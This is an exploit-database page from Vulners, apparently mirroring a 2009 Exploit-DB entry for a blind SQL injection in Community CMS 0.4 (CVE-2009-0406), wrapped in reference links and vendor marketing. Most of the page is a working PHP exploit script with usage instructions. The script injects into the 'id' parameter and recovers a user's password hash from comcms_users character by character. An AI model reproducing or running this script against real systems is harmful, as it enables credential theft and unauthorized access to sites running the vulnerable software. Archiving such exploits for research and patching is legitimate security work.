Lucene search
+L

Community CMS 0.4 - 'id' Blind SQL Injection

🗓️ 28 Jan 2009 00:00:00Reported by darkjokerType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 33 Views

Blind SQL Injection in Community CMS 0.

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2009-0406
28 Jan 200900:00
circl
CVE
CVE-2009-0406
3 Feb 200919:00
cve
Cvelist
CVE-2009-0406
3 Feb 200919:00
cvelist
EUVD
EUVD-2009-0410
7 Oct 202500:30
euvd
NVD
CVE-2009-0406
3 Feb 200919:30
nvd
Prion
Sql injection
3 Feb 200919:30
prion
--+++==============================================================+++--
--+++====== Community CMS <= 0.4 Blind SQL Injection Exploit ======+++--
--+++==============================================================+++--

<?php

function query ($user, $pos, $chr)
{
	$query = "x' OR ASCII(SUBSTRING((SELECT password FROM comcms_users WHERE username = '{$user}'),{$pos},1))={$chr} OR '1' = '2";
	$query = str_replace (" ", "%20", $query);
	$query = str_replace ("'", "%27", $query);

	return $query;
}

function exploit ($hostname, $path, $user, $pos, $chr)
{
	$chr = ord ($chr);
	$fp = fsockopen ($hostname, 80);

	$query = query ($user, $pos, $chr);
	$get =  "GET {$path}/index.php?id={$query} HTTP/1.1\r\n".
		"Host: {$hostname}\r\n".
		"Connection: Close\r\n\r\n";

	fputs ($fp, $get);

	while (!feof ($fp))
		$x .= fgets ($fp, 1024);

	fclose ($fp);

	if (preg_match ("/Failed to load page/", $x))
		return false;
	else
		return true;

}

function usage () {
	exit (
		"Community CMS <= 0.4 Blind SQL Injection Exploit".
		"\n[+] Author  : darkjoker".
		"\n[+] Site    : http://darkjoker.net23.net".
		"\n[+] Download: http://surfnet.dl.sourceforge.net/sourceforge/communitycms/communitycms-0.4.zip".
		"\n[+] Usage   : php xpl.php <localhost> <path> <username>".
		"\n[+] Ex.     : php xpl.php localhost /CommunityCMS admin".
		"\n[+] Greetz  : certaindeath".
		"\n\n");
}

if ($argc != 4)
	usage ();

$hostname = $argv [1];
$path = $argv [2];
$user = $argv [3];
$key = "abcdef0123456789";
$pos = 1;
$chr = 0;

echo "[+] Password: ";

while ($pos <= 32)
{
	if (exploit ($hostname, $path, $user, $pos, $key [$chr]))
	{
		echo $key [$chr];
		$chr = 0;
		$pos++;
	}
	else
		$chr++;
}

echo "\n\n";

?>

# milw0rm.com [2009-01-28]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

23 Jan 2017 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 27.5
EPSS0.01126
33